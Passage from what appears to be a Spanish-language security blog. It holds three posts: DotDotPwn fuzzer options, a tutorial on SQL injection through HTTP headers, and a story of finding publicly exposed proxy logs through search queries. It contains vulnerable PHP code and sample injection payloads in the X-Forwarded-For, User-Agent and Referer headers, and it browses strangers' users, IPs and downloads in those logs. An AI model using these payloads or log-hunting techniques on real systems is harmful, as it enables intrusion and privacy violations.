  • -t    Tiempo en milisegundo entre cada testeo (default: 300 (.3 second))
  • -X    Indicamos que use el algoritmo de biseccion.
  • -e    Indicamos las extenciones de archivos para realizar un fuzzing a la cadena ( “.php”, “.jpg”, “.inc”)
  • -U    Username (default: ‘anonymous’)
  • -P    Password (default: ‘dot@dot.pwn’)
  • -M   Metodos HTTP a usar para el envio [GET | POST | HEAD | COPY | MOVE] (default: GET)
  • -r     Establece el nombre del archivo de log donde se guardara el test (default: ‘HOST_MM-DD-YYYY_HOUR-MIN.txt’)
  • -b    Parara cuando se encuentre la primer vulnerabilidad
  • -q    No imprime la salida del programa.
Bueno eso es todo por hoy! en el proximo post empezare con las pruebas de fuzzing y  desarrollare el uso de todos los modulos presentes en Dotdotpwn.

SQL Inyection a travez de cabeceras HTTP

0 comentarios
Cuando realizamos pruebas de variables en una aplicacion web en busca de vulnerabilidades del tipo SQLI o Blind SQLI nos limitamos a testearla solo mediante peticiones GET y POST pero nos olvidamos o desconocemos de otros parametros que pueden ser inyectados para obtener un lindo error de la DB que nos permita meterle jeringa hasta sacarle jugo a  toda la informacion posible.

¿Y los parametros de una cabecera HTTP? ¿no son inyectables?
Este es un analisis que se realizo usando varios scaneres de aplicaciones web de codigo abierto y comerciales, como se puede distinguir, el 75%  de estas herramientas no pudo encontrar una vulnerabilidad en los encabezados HTTP, por otro lado el 70% de estos scaneres no inspecciona las cookies. Generalmente y si no me queda mas que indagar en las cabeceras trato de buscar este tipo de vulns a mano limpia, como deberia hacerse con todo :)
Posibles encabezados HTTP para inyecciones SQL
Los campos de la cabecera HTTP

 X-Forwarded-For

X-Forwarded-For es un campo de encabezado HTTP para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.
Vamos a ver un ejemplo de esta falla
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");
 
La variable login es controlada por la funcion sanitize()
function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }
Vamos a inspeccionar la variable ip controlada por la funcion ip_addr()
function ip_adr() { if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; }
 
Obviamente, la dirección IP se obtiene del parametro X_FORWARDED_FOR. Luego es controlado por preg_match que verifica si el valor corresponde a una dirección IP
la variable HTTP_X_FORWARDED_FOR  no es verificada apropiadamente antes de su valor que se utiliza en la consulta SQL. Esto puede llevar a ejecutar cualquier consulta SQL mediante la inyección de código SQL arbitrario en este campo.
La simple modificación de este campo de encabezado a algo así como :}
GET /index.php HTTP/1.1
X_FORWARDED_FOR :127.0.0.1' or 1=1#

User-Agent

Tambien podemos hacer uso de este parametro para verificar
GET /index.php HTTP/1.1
User-Agent: aaa' or 1/*
 

Referer

GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
Referer: http://underterminal.nixiweb.com
 

Cookie

Podemos testear el parametro cookie manualmente complementando algun addon en el navegador que nos permita hacer esto, como Cookies Manager+ o el Tamper Data, asi inyectamos una sqli en el campo content.




O usando alguna herramienta de automatizacion como Sqlmap


Espero que les haya servido muchachos! saludos!

Fuente:http://underterminal.nixiweb.com

De ver una petición HTTP a acabar leyendo logs de proxys

0 comentarios
¡Saludos!

  Me hallaba yo traqueteando un poco con un servidor local, diseñando una pequeña prueba de concepto para un paper que estoy escribiendo cuando una cabecera HTTP salvaje se me cruzó. Echando un ojo a las cabeceras que se enviaban con Live HTTP Headers aparecía una hacia localhost, hacia un puerto raruno. Los que ya me conocen saben de mi extrema paranoia, asi que en esos momentos lo primero que pensé es que algunos rusos estarían practicando el medievo con mi ordenata.






   Asi que tiré de google para ver si alguien sabía qué diablos era aquello, y... encontré algo bastante interesante. En el primer enlace explicaban que se trataba de Avast y de la protección web, pero eso ya no era lo que me intrigaba. En la busqueda "localhost 27275" me saltaron webs, todas similares, en gran cantidad (o como diría un amigo: "a tutiplen"). Pasado el susto, y ya tranquilo, leí los title y pensé... "¿Squid?" "¿Report?" nah... no creo que sea... ¿logs de proxys? ¿Ips, usuarios, sitios visitados? Demasiado bueno para ser cierto... Habrá que echar un vistazo...  Premio :)


     


   Sí, era lo que pensaba. El dueño de la IP que aparece también usa Avast!, mira qué guay. Lógicamente empecé a trastear un poco, a ver qué se podía ver por los logs.Se acaban viendo cosas curiosas, como descargas de peliculas taiwanesas, FTPs de acceso anónimo, fotos de gente, etc. Como gran hermano, pero versión asiática.

    Independientemente del cotilleo, hay cosas más interesantes que se muestran desde el punto de vista de la seguridad, como los usuarios e IPs:


     
   Así como qué webs suelen visitar, o qué software tienen para realizar un ataque dirigido, ya que las descargas de actualizaciones (y los instaladores) quedan reflejados, como en este ejemplo de la Universidad de Buenos Aires:






La conclusión lógica de esto es que dejar algo tan jugoso como los logs de del proxy de tu empresa/universidad/otra-cosa al acceso de cualquiera es algo que ya debería de estar más que superado.

Byt3z
http://0verl0ad.blogspot.com
Powered by Bad Robot
Helped by Blackubay